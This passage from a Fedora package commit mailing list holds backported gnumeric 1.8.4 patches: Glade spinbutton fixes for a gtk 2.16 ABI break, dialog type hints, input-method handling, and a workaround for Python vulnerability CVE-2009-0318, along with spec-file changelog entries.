+	details->actions = gtk_action_group_new (extra_ui->group_name);
 
 	for (ptr = extra_ui->actions; ptr != NULL ; ptr = ptr->next) {
 		action = ptr->data;
--
cgit v0.8.2

gnumeric-1.8.4-backport-20090430.patch:
 NEWS                                |    1 +
 src/dialogs/ChangeLog               |    4 ++++
 src/dialogs/anova-one.glade         |    3 +--
 src/dialogs/anova-two.glade         |    3 +--
 src/dialogs/cell-format.glade       |    3 +--
 src/dialogs/col-width.glade         |    3 +--
 src/dialogs/descriptive-stats.glade |    3 +--
 src/dialogs/dialog-stf.glade        |    6 ++----
 src/dialogs/dialog-zoom.glade       |    3 +--
 src/dialogs/print.glade             |    9 +++------
 src/dialogs/row-height.glade        |    3 +--
 src/dialogs/simulation.glade        |   12 ++++--------
 src/dialogs/so-scrollbar.glade      |   12 ++++--------
 src/dialogs/solver.glade            |    7 ++-----
 14 files changed, 27 insertions(+), 45 deletions(-)

--- NEW FILE gnumeric-1.8.4-backport-20090430.patch ---
>From 75fe906cb0afce76a47338415773a6d4c5f07c5c Mon Sep 17 00:00:00 2001
From: Morten Welinder <terra at gnome.org>
Date: Thu, 30 Apr 2009 23:04:49 +0000
Subject: Work around gtk+ 2.16 ABI break re spinbuttons.

---
diff --git a/NEWS b/NEWS
index 4391951..d1808a8 100644
--- a/NEWS
+++ b/NEWS
@@ -9,6 +9,7 @@ Jon K?re:
 Morten:
 	* Fix problem with dialogs not showing up in fullscreen mode.
 	[#574602]
+	* Work around ABI changes in in gtk-2.16.  [#580930]
 
 --------------------------------------------------------------------------
 Gnumeric 1.8.4
diff --git a/src/dialogs/ChangeLog b/src/dialogs/ChangeLog
index 5f63b08..8fcc3f4 100644
--- a/src/dialogs/ChangeLog
+++ b/src/dialogs/ChangeLog
@@ -1,3 +1,7 @@
+2009-04-40  Morten Welinder <terra at gnome.org>
+
+	* *.glade: Work around ABI break for spinbuttons.  #580930.
+
 2009-01-18  Jody Goldberg <jody at gnome.org>
 
 	* Release 1.8.4
diff --git a/src/dialogs/anova-one.glade b/src/dialogs/anova-one.glade
index cf95a5b..a822db5 100644
--- a/src/dialogs/anova-one.glade
+++ b/src/dialogs/anova-one.glade
@@ -318,8 +318,7 @@
 		      <property name="update_policy">GTK_UPDATE_IF_VALID</property>
 		      <property name="snap_to_ticks">False</property>
 		      <property name="wrap">False</property>
-		      <property name="adjustment">0.05 0 1 0.01 10 10</property>
-		    </widget>
+		      <property name="adjustment">0.05 0 1 0.01 10 0</property>		    </widget>
 		    <packing>
 		      <property name="left_attach">1</property>
 		      <property name="right_attach">2</property>
diff --git a/src/dialogs/anova-two.glade b/src/dialogs/anova-two.glade
index 3b101fb..c25e425 100644
--- a/src/dialogs/anova-two.glade
+++ b/src/dialogs/anova-two.glade
@@ -263,8 +263,7 @@
 		      <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 		      <property name="snap_to_ticks">False</property>
 		      <property name="wrap">False</property>
-		      <property name="adjustment">0.05 0 1 0.01 0.05 0.05</property>
-		    </widget>
+		      <property name="adjustment">0.05 0 1 0.01 0.05 0</property>		    </widget>
 		    <packing>
 		      <property name="left_attach">1</property>
 		      <property name="right_attach">2</property>
diff --git a/src/dialogs/cell-format.glade b/src/dialogs/cell-format.glade
index be30f4f..968754d 100644
--- a/src/dialogs/cell-format.glade
+++ b/src/dialogs/cell-format.glade
@@ -356,8 +356,7 @@
 				  <property name="update_policy">GTK_UPDATE_IF_VALID</property>
 				  <property name="snap_to_ticks">False</property>
 				  <property name="wrap">False</property>
-				  <property name="adjustment">0 0 20 1 10 10</property>
-				</widget>
+				  <property name="adjustment">0 0 20 1 10 0</property>				</widget>
 				<packing>
 				  <property name="left_attach">1</property>
 				  <property name="right_attach">2</property>
diff --git a/src/dialogs/col-width.glade b/src/dialogs/col-width.glade
index 907a629..f87b21a 100644
--- a/src/dialogs/col-width.glade
+++ b/src/dialogs/col-width.glade
@@ -148,8 +148,7 @@
 	      <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 	      <property name="snap_to_ticks">False</property>
 	      <property name="wrap">False</property>
-	      <property name="adjustment">5 5 1000 1 5 5</property>
-	    </widget>
+	      <property name="adjustment">5 5 1000 1 5 0</property>	    </widget>
 	    <packing>
 	      <property name="left_attach">1</property>
 	      <property name="right_attach">2</property>
diff --git a/src/dialogs/descriptive-stats.glade b/src/dialogs/descriptive-stats.glade
index 9653553..35bde2c 100644
--- a/src/dialogs/descriptive-stats.glade
+++ b/src/dialogs/descriptive-stats.glade
@@ -474,8 +474,7 @@
 		  <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 		  <property name="snap_to_ticks">False</property>
 		  <property name="wrap">False</property>
-		  <property name="adjustment">0.05 0 1 0.01 10 10</property>
-		</widget>
+		  <property name="adjustment">0.05 0 1 0.01 10 0</property>		</widget>
 		<packing>
 		  <property name="left_attach">2</property>
 		  <property name="right_attach">3</property>
diff --git a/src/dialogs/dialog-stf.glade b/src/dialogs/dialog-stf.glade
index 0673cdd..77c7acd 100644
--- a/src/dialogs/dialog-stf.glade
+++ b/src/dialogs/dialog-stf.glade
@@ -515,8 +515,7 @@
 			  <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 			  <property name="snap_to_ticks">False</property>
 			  <property name="wrap">False</property>
-			  <property name="adjustment">1 1 100 1 10 10</property>
-			</widget>
+			  <property name="adjustment">1 1 100 1 10 0</property>			</widget>
 			<packing>
 			  <property name="padding">0</property>
 			  <property name="expand">False</property>
@@ -557,8 +556,7 @@
 			  <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 			  <property name="snap_to_ticks">False</property>
 			  <property name="wrap">False</property>
-			  <property name="adjustment">1 1 100 1 10 10</property>
-			</widget>
+			  <property name="adjustment">1 1 100 1 10 0</property>			</widget>
 			<packing>
 			  <property name="padding">0</property>
 			  <property name="expand">False</property>
diff --git a/src/dialogs/dialog-zoom.glade b/src/dialogs/dialog-zoom.glade
index 30e65cc..3cd716a 100644
--- a/src/dialogs/dialog-zoom.glade
+++ b/src/dialogs/dialog-zoom.glade
@@ -254,8 +254,7 @@
 			      <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 			      <property name="snap_to_ticks">False</property>
 			      <property name="wrap">False</property>
-			      <property name="adjustment">100 10 500 5 25 25</property>
-			    </widget>
+			      <property name="adjustment">100 10 500 5 25 0</property>			    </widget>
 			    <packing>
 			      <property name="padding">0</property>
 			      <property name="expand">False</property>
diff --git a/src/dialogs/print.glade b/src/dialogs/print.glade
index 196ffd0..f2a1662 100644
--- a/src/dialogs/print.glade
+++ b/src/dialogs/print.glade
@@ -698,8 +698,7 @@
                                       <widget class="GtkSpinButton" id="scale-h-spin">
                                         <property name="visible">True</property>
                                         <property name="can_focus">True</property>
-                                        <property name="adjustment">1 1 100 1 10 10</property>
-                                        <property name="climb_rate">1</property>
+                                        <property name="adjustment">1 1 100 1 10 0</property>                                        <property name="climb_rate">1</property>
                                       </widget>
                                       <packing>
                                         <property name="left_attach">2</property>
@@ -747,8 +746,7 @@
                                       <widget class="GtkSpinButton" id="scale-v-spin">
                                         <property name="visible">True</property>
                                         <property name="can_focus">True</property>
-                                        <property name="adjustment">1 1 100 1 10 10</property>
-                                        <property name="climb_rate">1</property>
+                                        <property name="adjustment">1 1 100 1 10 0</property>                                        <property name="climb_rate">1</property>
                                       </widget>
                                       <packing>
                                         <property name="left_attach">2</property>
@@ -792,8 +790,7 @@
                                       <widget class="GtkSpinButton" id="scale-percent-spin">
                                         <property name="visible">True</property>
                                         <property name="can_focus">True</property>
-                                        <property name="adjustment">10 10 1000 1 10 10</property>
-                                        <property name="climb_rate">1</property>
+                                        <property name="adjustment">10 10 1000 1 10 0</property>                                        <property name="climb_rate">1</property>
                                         <property name="digits">1</property>
                                         <property name="numeric">True</property>
                                       </widget>
diff --git a/src/dialogs/row-height.glade b/src/dialogs/row-height.glade
index 71e62b0..3004d87 100644
--- a/src/dialogs/row-height.glade
+++ b/src/dialogs/row-height.glade
@@ -149,8 +149,7 @@
 	      <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 	      <property name="snap_to_ticks">False</property>
 	      <property name="wrap">False</property>
-	      <property name="adjustment">5 5 1000 1 5 5</property>
-	    </widget>
+	      <property name="adjustment">5 5 1000 1 5 0</property>	    </widget>
 	    <packing>
 	      <property name="left_attach">1</property>
 	      <property name="right_attach">2</property>
diff --git a/src/dialogs/simulation.glade b/src/dialogs/simulation.glade
index d084dfc..356c90b 100644
--- a/src/dialogs/simulation.glade
+++ b/src/dialogs/simulation.glade
@@ -345,8 +345,7 @@
 		      <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 		      <property name="snap_to_ticks">False</property>
 		      <property name="wrap">False</property>
-		      <property name="adjustment">10 1 36000 10 10 10</property>
-		    </widget>
+		      <property name="adjustment">10 1 36000 10 10 0</property>		    </widget>
 		    <packing>
 		      <property name="left_attach">2</property>
 		      <property name="right_attach">3</property>
@@ -366,8 +365,7 @@
 		      <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 		      <property name="snap_to_ticks">False</property>
 		      <property name="wrap">False</property>
-		      <property name="adjustment">1000 1 1e+10 1000 10 10</property>
-		    </widget>
+		      <property name="adjustment">1000 1 1e+10 1000 10 0</property>		    </widget>
 		    <packing>
 		      <property name="left_attach">2</property>
 		      <property name="right_attach">3</property>
@@ -387,8 +385,7 @@
 		      <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 		      <property name="snap_to_ticks">False</property>
 		      <property name="wrap">False</property>
-		      <property name="adjustment">1 1 1e+08 1 10 10</property>
-		    </widget>
+		      <property name="adjustment">1 1 1e+08 1 10 0</property>		    </widget>
 		    <packing>
 		      <property name="left_attach">2</property>
 		      <property name="right_attach">3</property>
@@ -408,8 +405,7 @@
 		      <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 		      <property name="snap_to_ticks">False</property>
 		      <property name="wrap">False</property>
-		      <property name="adjustment">1 1 1e+08 1 10 10</property>
-		    </widget>
+		      <property name="adjustment">1 1 1e+08 1 10 0</property>		    </widget>
 		    <packing>
 		      <property name="left_attach">2</property>
 		      <property name="right_attach">3</property>
diff --git a/src/dialogs/so-scrollbar.glade b/src/dialogs/so-scrollbar.glade
index f4d7de2..8890bbb 100644
--- a/src/dialogs/so-scrollbar.glade
+++ b/src/dialogs/so-scrollbar.glade
@@ -194,8 +194,7 @@
 	      <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 	      <property name="snap_to_ticks">False</property>
 	      <property name="wrap">False</property>
-	      <property name="adjustment">0 0 3001 1 10 1</property>
-	      <accessibility>
+	      <property name="adjustment">0 0 3001 1 10 0</property>	      <accessibility>
 		<atkrelation target="label_min" type="labelled-by"/>
 	      </accessibility>
 	    </widget>
@@ -218,8 +217,7 @@
 	      <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 	      <property name="snap_to_ticks">False</property>
 	      <property name="wrap">False</property>
-	      <property name="adjustment">0 0 3001 1 10 1</property>
-	      <accessibility>
+	      <property name="adjustment">0 0 3001 1 10 0</property>	      <accessibility>
 		<atkrelation target="label_max" type="labelled-by"/>
 	      </accessibility>
 	    </widget>
@@ -242,8 +240,7 @@
 	      <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 	      <property name="snap_to_ticks">False</property>
 	      <property name="wrap">False</property>
-	      <property name="adjustment">0 0 3001 1 10 1</property>
-	      <accessibility>
+	      <property name="adjustment">0 0 3001 1 10 0</property>	      <accessibility>
 		<atkrelation target="label_increment" type="labelled-by"/>
 	      </accessibility>
 	    </widget>
@@ -266,8 +263,7 @@
 	      <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 	      <property name="snap_to_ticks">False</property>
 	      <property name="wrap">False</property>
-	      <property name="adjustment">0 0 3001 1 10 1</property>
-	      <accessibility>
+	      <property name="adjustment">0 0 3001 1 10 0</property>	      <accessibility>
 		<atkrelation target="label_page" type="labelled-by"/>
 	      </accessibility>
 	    </widget>
diff --git a/src/dialogs/solver.glade b/src/dialogs/solver.glade
index 66eab7c..b58fdf3 100644
--- a/src/dialogs/solver.glade
+++ b/src/dialogs/solver.glade
@@ -668,8 +668,7 @@ Bool
 		  <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 		  <property name="snap_to_ticks">False</property>
 		  <property name="wrap">False</property>
-		  <property name="adjustment">100 1 1e+10 10 10 10</property>
-		</widget>
+		  <property name="adjustment">100 1 1e+10 10 10 0</property>		</widget>
 		<packing>
 		  <property name="left_attach">1</property>
 		  <property name="right_attach">2</property>
@@ -689,8 +688,7 @@ Bool
 		  <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 		  <property name="snap_to_ticks">False</property>
 		  <property name="wrap">False</property>
-		  <property name="adjustment">30 1 36000 10 10 10</property>
-		</widget>
+		  <property name="adjustment">30 1 36000 10 10 0</property>		</widget>
 		<packing>
 		  <property name="left_attach">1</property>
 		  <property name="right_attach">2</property>
--
cgit v0.8.2


Index: gnumeric.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnumeric/F-11/gnumeric.spec,v
retrieving revision 1.46
retrieving revision 1.47
diff -u -p -r1.46 -r1.47
--- gnumeric.spec	12 Oct 2009 07:08:35 -0000	1.46
+++ gnumeric.spec	20 Oct 2009 22:30:05 -0000	1.47
@@ -1,7 +1,7 @@
 Name:             gnumeric
 Epoch:            1
 Version:          1.8.4
-Release:          3%{?dist}
+Release:          5%{?dist}
 Summary:          Spreadsheet program for GNOME
 Group:            Applications/Productivity
 # bug filed upstream about this being GPL v2 only:
@@ -12,7 +12,10 @@ Source:           ftp://ftp.gnome.org/pu
 Patch0:		  gnumeric-1.8.4-desktop.patch
 Patch1:           gnumeric-1.8.1-gnomedb-vercheck.patch
 Patch2:		  gnumeric-1.8.2-python.patch
-Patch3:		  gnumeric-1.8.4-recent.patch
+Patch3:		  gnumeric-1.8.4-backport-20090129.patch
+Patch4:		  gnumeric-1.8.4-backport-20090309.patch
+Patch5:		  gnumeric-1.8.4-backport-20090314.patch
+Patch6:		  gnumeric-1.8.4-backport-20090430.patch
 BuildRoot:        %{_tmppath}/%{name}-%{version}-root
 BuildRequires:    libgnomeui-devel >= 2.4.0
 BuildRequires:    libgnomeprintui22-devel >= 2.8.2
@@ -64,7 +67,11 @@ This package contains the following addi
 %patch0 -p1 -b .desktop
 %patch1 -p1
 %patch2 -p1 -b .new
-%patch3 -p1
+%patch3 -p1 -b backport-20090129
+%patch4 -p1 -b backport-20090309
+%patch5 -p1 -b backport-20090314
+%patch6 -p1 -b backport-20090430
+
 chmod -x plugins/excel/rc4.?
 
 
@@ -192,9 +199,15 @@ fi
 
 
 %changelog
-* Mon Oct 12 2009 Huzaifa Sidhpurwala <huzaifas at redhat.com> 1:1.8.4-3
+* Wed Oct 21 2009 Robert Scheck <robert at fedoraproject.org> 1:1.8.4-5
+- Applied 4 patches from the 1.8 stable branch (#500890, #505001)
+
+* Mon Oct 12 2009 Huzaifa Sidhpurwala <huzaifas at redhat.com> 1:1.8.4-4
 - Resolve rhbz #500890
 
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1:1.8.4-3
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Mon Apr 13 2009 Huzaifa Sidhpurwala <huzaifas at redhat.com> 1:1.8.4-2
 - Resolved rhbz #495314
 


--- gnumeric-1.8.4-recent.patch DELETED ---



From robert at fedoraproject.org  Tue Oct 20 22:30:08 2009
From: robert at fedoraproject.org (Robert Scheck)
Date: Tue, 20 Oct 2009 22:30:08 +0000 (UTC)
Subject: rpms/gnumeric/devel gnumeric-1.8.4-backport-20090129.patch, NONE,
	1.1 gnumeric-1.8.4-backport-20090309.patch, NONE,
	1.1 gnumeric-1.8.4-backport-20090314.patch, NONE,
	1.1 gnumeric-1.8.4-backport-20090430.patch, NONE,
	1.1 gnumeric.spec, 1.47, 1.48 gnumeric-1.8.4-recent.patch, 1.1, NONE
Message-ID: <20091020223008.C8C8611C02A4@cvs1.fedora.phx.redhat.com>

Author: robert

Update of /cvs/pkgs/rpms/gnumeric/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13200/devel

Modified Files:
	gnumeric.spec 
Added Files:
	gnumeric-1.8.4-backport-20090129.patch 
	gnumeric-1.8.4-backport-20090309.patch 
	gnumeric-1.8.4-backport-20090314.patch 
	gnumeric-1.8.4-backport-20090430.patch 
Removed Files:
	gnumeric-1.8.4-recent.patch 
Log Message:
Applied 4 patches from the 1.8 stable branch (#500890, #505001)


gnumeric-1.8.4-backport-20090129.patch:
 NEWS                                       |    6 ++++++
 plugins/python-loader/ChangeLog            |    6 ++++++
 plugins/python-loader/gnm-py-interpreter.c |    3 +--
 3 files changed, 13 insertions(+), 2 deletions(-)

--- NEW FILE gnumeric-1.8.4-backport-20090129.patch ---
>From 8287b580c6e9d99cb095e4084d485f513180dca8 Mon Sep 17 00:00:00 2001
From: J.H.M. Dassen (Ray) <jdassen at src.gnome.org>
Date: Thu, 29 Jan 2009 14:33:02 +0000
Subject: Backport of fix for CVE-2009-0318 [#569648]

svn path=/branches/gnumeric-1-8/; revision=17111
---
diff --git a/NEWS b/NEWS
index cc2354f..a9ba585 100644
--- a/NEWS
+++ b/NEWS
@@ -1,3 +1,9 @@
+Gnumeric 1.8.5
+
+Jon K?re:
+        * Work around vulnerability in Python. CVE-2009-0318 [#569648]
+
+--------------------------------------------------------------------------
 Gnumeric 1.8.4
 
 Henry Law:
diff --git a/plugins/python-loader/ChangeLog b/plugins/python-loader/ChangeLog
index 8609fee..5978766 100644
--- a/plugins/python-loader/ChangeLog
+++ b/plugins/python-loader/ChangeLog
@@ -1,3 +1,9 @@
+2009-01-29  Jon K Hellan  <hellan at acm.org>
+
+	* gnm-py-interpreter.c (gnm_py_interpreter_new): Work around
+	security vulnerability in Python by making argv start with
+	"/dev/null". #569648.
+
 2009-01-18  Jody Goldberg <jody at gnome.org>
 
 	* Release 1.8.4
diff --git a/plugins/python-loader/gnm-py-interpreter.c b/plugins/python-loader/gnm-py-interpreter.c
index 4664f2e..a33f38a 100644
--- a/plugins/python-loader/gnm-py-interpreter.c
+++ b/plugins/python-loader/gnm-py-interpreter.c
@@ -79,7 +79,7 @@ gnm_py_interpreter_class_init (GObjectClass *gobject_class)
 		G_TYPE_NONE, 0);
 }
 
-static char *plugin_argv[] = {(char *) "gnumeric", NULL};
+static char *plugin_argv[] = {(char *) "/dev/null/python/is/buggy/gnumeric", NULL};
 
 GnmPyInterpreter *
 gnm_py_interpreter_new (GOPlugin *plugin)
--
cgit v0.8.2

gnumeric-1.8.4-backport-20090309.patch:
 NEWS                           |    4 ++++
 src/dialogs/hf-config.glade    |    2 +-
 src/dialogs/hf-dt-format.glade |    2 +-
 src/dialogs/preferences.glade  |    3 +--
 4 files changed, 7 insertions(+), 4 deletions(-)

--- NEW FILE gnumeric-1.8.4-backport-20090309.patch ---
>From 186423184f2ed8825f00fff8f12669ed99c8de2c Mon Sep 17 00:00:00 2001
From: Morten Welinder <mortenw at src.gnome.org>
Date: Mon, 09 Mar 2009 13:54:19 +0000
Subject: Backport.

Morten:
	* Fix problem with dialogs not showing up in fullscreen mode.
	[#574602]


svn path=/branches/gnumeric-1-8/; revision=17181
---
diff --git a/NEWS b/NEWS
index a9ba585..3603561 100644
--- a/NEWS
+++ b/NEWS
@@ -3,6 +3,10 @@ Gnumeric 1.8.5
 Jon K?re:
         * Work around vulnerability in Python. CVE-2009-0318 [#569648]
 
+Morten:
+	* Fix problem with dialogs not showing up in fullscreen mode.
+	[#574602]
+
 --------------------------------------------------------------------------
 Gnumeric 1.8.4
 
diff --git a/src/dialogs/hf-config.glade b/src/dialogs/hf-config.glade
index 1346ce4..e082ed8 100644
--- a/src/dialogs/hf-config.glade
+++ b/src/dialogs/hf-config.glade
@@ -5,7 +5,7 @@
   <widget class="GtkDialog" id="hf-config">
     <property name="width_request">600</property>
     <property name="window_position">GTK_WIN_POS_CENTER_ON_PARENT</property>
-    <property name="type_hint">GDK_WINDOW_TYPE_HINT_NORMAL</property>
+    <property name="type_hint">GDK_WINDOW_TYPE_HINT_DIALOG</property>
     <child internal-child="vbox">
       <widget class="GtkVBox" id="dialog-vbox1">
         <property name="spacing">8</property>
diff --git a/src/dialogs/hf-dt-format.glade b/src/dialogs/hf-dt-format.glade
index ee0e1e8..f2c3f39 100644
--- a/src/dialogs/hf-dt-format.glade
+++ b/src/dialogs/hf-dt-format.glade
@@ -5,7 +5,7 @@
   <widget class="GtkDialog" id="hf-dt-format">
     <property name="width_request">600</property>
     <property name="window_position">GTK_WIN_POS_CENTER_ON_PARENT</property>
-    <property name="type_hint">GDK_WINDOW_TYPE_HINT_NORMAL</property>
+    <property name="type_hint">GDK_WINDOW_TYPE_HINT_DIALOG</property>
     <child internal-child="vbox">
       <widget class="GtkVBox" id="dialog-vbox1">
         <property name="spacing">8</property>
diff --git a/src/dialogs/preferences.glade b/src/dialogs/preferences.glade
index 01cbfef..163d714 100644
--- a/src/dialogs/preferences.glade
+++ b/src/dialogs/preferences.glade
@@ -7,7 +7,7 @@
     <property name="title" translatable="yes">Gnumeric Preferences</property>
     <property name="default_width">350</property>
     <property name="default_height">300</property>
-    <property name="type_hint">GDK_WINDOW_TYPE_HINT_NORMAL</property>
+    <property name="type_hint">GDK_WINDOW_TYPE_HINT_DIALOG</property>
     <property name="has_separator">False</property>
     <child internal-child="vbox">
       <widget class="GtkVBox" id="dialog-vbox1">
--
cgit v0.8.2

gnumeric-1.8.4-backport-20090314.patch:
 ChangeLog             |   11 +++++++++++
 b/ChangeLog           |    4 ++++
 b/NEWS                |    3 +++
 b/src/application.c   |    6 +++++-
 b/src/application.h   |    4 +++-
 b/src/gnm-pane-impl.h |    7 +++----
 b/src/gnm-pane.c      |   40 ++++++++++++++++++++++++++++------------
 b/src/gnm-plugin.c    |    6 ++++--
 b/src/wbc-gtk.c       |    3 +--
 9 files changed, 62 insertions(+), 22 deletions(-)

--- NEW FILE gnumeric-1.8.4-backport-20090314.patch ---
>From 9932dc2cafe66b752e965175a3cbe9889819feb5 Mon Sep 17 00:00:00 2001
From: Jody Goldberg <jody at gnome.org>
Date: Sat, 14 Mar 2009 22:21:18 +0000
Subject: clear the 'im_block_edit_start' flag. (gnm_pane_unrealize) : set the flag.

2009-03-13  Jody Goldberg <jody at gnome.org>

	* src/gnm-pane.c (gnm_pane_realize) : clear the 'im_block_edit_start' flag.
	(gnm_pane_unrealize) : set the flag.

	* src/application.c (gnm_app_add_extra_ui) : take a group name.
	(gnm_app_remove_extra_ui) : patch minor leak.
	* src/gnm-plugin.c (plugin_service_ui_activate) : use the supplied
	  group name rather than a static name that is shared between all
	  custom ui.



svn path=/branches/gnumeric-1-8/; revision=17077
---
diff --git a/ChangeLog b/ChangeLog
index 62ecf6f..6ac6e49 100644
--- a/ChangeLog
+++ b/ChangeLog
@@ -1,5 +1,9 @@
 2009-01-18  Jody Goldberg <jody at gnome.org>
 
+	* configure.in : post release bump
+
+2009-01-18  Jody Goldberg <jody at gnome.org>
+
 	* Release 1.8.4
 
 2009-01-11  J.H.M. Dassen (Ray) <jdassen at debian.org>
diff --git a/ChangeLog b/ChangeLog
index 6ac6e49..17b282a 100644
--- a/ChangeLog
+++ b/ChangeLog
@@ -1,3 +1,14 @@
+2009-03-13  Jody Goldberg <jody at gnome.org>
+
+	* src/gnm-pane.c (gnm_pane_realize) : clear the 'im_block_edit_start' flag.
+	(gnm_pane_unrealize) : set the flag.
+
+	* src/application.c (gnm_app_add_extra_ui) : take a group name.
+	(gnm_app_remove_extra_ui) : patch minor leak.
+	* src/gnm-plugin.c (plugin_service_ui_activate) : use the supplied
+	  group name rather than a static name that is shared between all
+	  custom ui.
+
 2009-01-18  Jody Goldberg <jody at gnome.org>
 
 	* configure.in : post release bump
diff --git a/NEWS b/NEWS
index 3603561..4391951 100644
--- a/NEWS
+++ b/NEWS
@@ -1,5 +1,8 @@
 Gnumeric 1.8.5
 
+Jody:
+	* Work around semantic changes in gtk-2.16.
+
 Jon K?re:
         * Work around vulnerability in Python. CVE-2009-0318 [#569648]
 
diff --git a/src/application.c b/src/application.c
index fccd626..04a47e7 100644
--- a/src/application.c
+++ b/src/application.c
@@ -815,12 +815,14 @@ gnm_action_free (GnmAction *action)
 }
 
 GnmAppExtraUI *
-gnm_app_add_extra_ui (GSList *actions, char *layout,
+gnm_app_add_extra_ui (char const *group_name,
+		      GSList *actions, char *layout,
 		      char const *domain,
 		      gpointer user_data)
 {
 	GnmAppExtraUI *extra_ui = g_new0 (GnmAppExtraUI, 1);
 	extra_uis = g_slist_prepend (extra_uis, extra_ui);
+	extra_ui->group_name = g_strdup (group_name);
 	extra_ui->actions = actions;
 	extra_ui->layout = layout;
 	extra_ui->user_data = user_data;
@@ -832,6 +834,8 @@ void
 gnm_app_remove_extra_ui (GnmAppExtraUI *extra_ui)
 {
 	g_signal_emit (G_OBJECT (app), signals [CUSTOM_UI_REMOVED], 0, extra_ui);
+	g_free (extra_ui->group_name);
+	g_free (extra_ui);
 }
 
 void
diff --git a/src/application.h b/src/application.h
index 18d8837..ccf7c01 100644
--- a/src/application.h
+++ b/src/application.h
@@ -79,6 +79,7 @@ struct _GnmAction {
 	GnmActionHandler	handler;
 };
 typedef struct {
+	char const *group_name;
 	GSList	   *actions;
 	char	   *layout;
 	char const *domain;
@@ -90,7 +91,8 @@ GnmAction *gnm_action_new  (char const *name, char const *label,
 			    GnmActionHandler handler);
 void	   gnm_action_free (GnmAction *action);
 
-GnmAppExtraUI *gnm_app_add_extra_ui (GSList *actions, char *layout,
+GnmAppExtraUI *gnm_app_add_extra_ui (char const *group_name,
+				     GSList *actions, char *layout,
 				     char const *domain,
 				     gpointer user_data);
 void	   gnm_app_remove_extra_ui  (GnmAppExtraUI *extra_ui);
diff --git a/src/gnm-pane-impl.h b/src/gnm-pane-impl.h
index 90578b8..a38e2dc 100644
--- a/src/gnm-pane-impl.h
+++ b/src/gnm-pane-impl.h
@@ -30,14 +30,13 @@ struct _GnmPane {
 	gboolean   sliding_adjacent_h, sliding_adjacent_v;
 
 	/*  IM */
-	guint      reseting_im :1;	/* quick hack to keep gtk_im_context_reset from starting an edit */
+	guint im_block_edit_start :1; /* see gnm_pane_key_press for details */
+	guint im_first_focus	  :1; /* see gnm_pane_init for details */
 	guint      preedit_length;
 	GtkIMContext  *im_context;
 	PangoAttrList *preedit_attrs;
-	gboolean insert_decimal;
-
-
 
+	gboolean insert_decimal;
 
 	int		 index;
 	struct {
diff --git a/src/gnm-pane.c b/src/gnm-pane.c
index 68be0d4..58f1579 100644
--- a/src/gnm-pane.c
+++ b/src/gnm-pane.c
@@ -587,11 +587,15 @@ gnm_pane_key_press (GtkWidget *widget, GdkEventKey *event)
 		event->keyval == GDK_KP_Decimal ||
 		event->keyval == GDK_KP_Separator;
 
-	if (gtk_im_context_filter_keypress (pane->im_context,event))
+	if (gtk_im_context_filter_keypress (pane->im_context, event))
 		return TRUE;
-	pane->reseting_im = TRUE;
+
+	/* in gtk-2.8 something changed.  gtk_im_context_reset started
+	 * triggering a pre-edit-changed.  We'd end up start and finishing an
+	 * empty edit every time the cursor moved */
+	pane->im_block_edit_start = TRUE;
 	gtk_im_context_reset (pane->im_context);
-	pane->reseting_im = FALSE;
+	pane->im_block_edit_start = FALSE;
 
 	if (gnm_pane_key_mode_sheet (pane, event, allow_rangesel))
 		return TRUE;
@@ -628,7 +632,17 @@ static gint
 gnm_pane_focus_in (GtkWidget *widget, GdkEventFocus *event)
 {
 #ifndef GNM_USE_HILDON
+	/* The first call to focus-in was sometimes the first thing to init the
+	 * imcontext.  In which case the im_context_focus_in would fire a
+	 * preedit-changed, and we would start editing. */
+	GnmPane *pane = GNM_PANE (widget);
+	if (pane->im_first_focus)
+		pane->im_block_edit_start = TRUE;
 	gtk_im_context_focus_in (GNM_PANE (widget)->im_context);
+	if (pane->im_first_focus) {
+		pane->im_first_focus = FALSE;
+		pane->im_block_edit_start = FALSE;
+	}
 #endif
 	return (*GTK_WIDGET_CLASS (parent_klass)->focus_in_event) (widget, event);
 }
@@ -645,6 +659,8 @@ gnm_pane_realize (GtkWidget *w)
 {
 	GtkStyle  *style;
 
+	GNM_PANE (w)->im_block_edit_start = FALSE;
+
 	if (GTK_WIDGET_CLASS (parent_klass)->realize)
 		(*GTK_WIDGET_CLASS (parent_klass)->realize) (w);
 
@@ -667,8 +683,10 @@ gnm_pane_unrealize (GtkWidget *widget)
 	pane = GNM_PANE (widget);
 	g_return_if_fail (pane != NULL);
 
-	if (pane->im_context)
+	if (pane->im_context) {
+		pane->im_block_edit_start = TRUE;
 		gtk_im_context_set_client_window (pane->im_context, NULL);
+	}
 
 	(*GTK_WIDGET_CLASS (parent_klass)->unrealize)(widget);
 }
@@ -733,10 +751,7 @@ cb_gnm_pane_preedit_changed (GtkIMContext *context, GnmPane *pane)
 		pango_attr_list_unref (pane->preedit_attrs);
 	gtk_im_context_get_preedit_string (pane->im_context, &preedit_string, &pane->preedit_attrs, &cursor_pos);
 
-	/* in gtk-2.8 something changed.  gtk_im_context_reset started
-	 * triggering a pre-edit-changed.  We'd end up start and finishing an
-	 * empty edit every time the cursor moved */
-	if (!pane->reseting_im &&
+	if (!pane->im_block_edit_start &&
 	    !wbcg_is_editing (wbcg) && !wbcg_edit_start (wbcg, TRUE, TRUE)) {
 		gtk_im_context_reset (pane->im_context);
 		pane->preedit_length = 0;
@@ -911,8 +926,9 @@ gnm_pane_init (GnmPane *pane)
 
 	pane->im_context = gtk_im_multicontext_new ();
 	pane->preedit_length = 0;
-	pane->preedit_attrs = NULL;
-	pane->reseting_im = FALSE;
+	pane->preedit_attrs    = NULL;
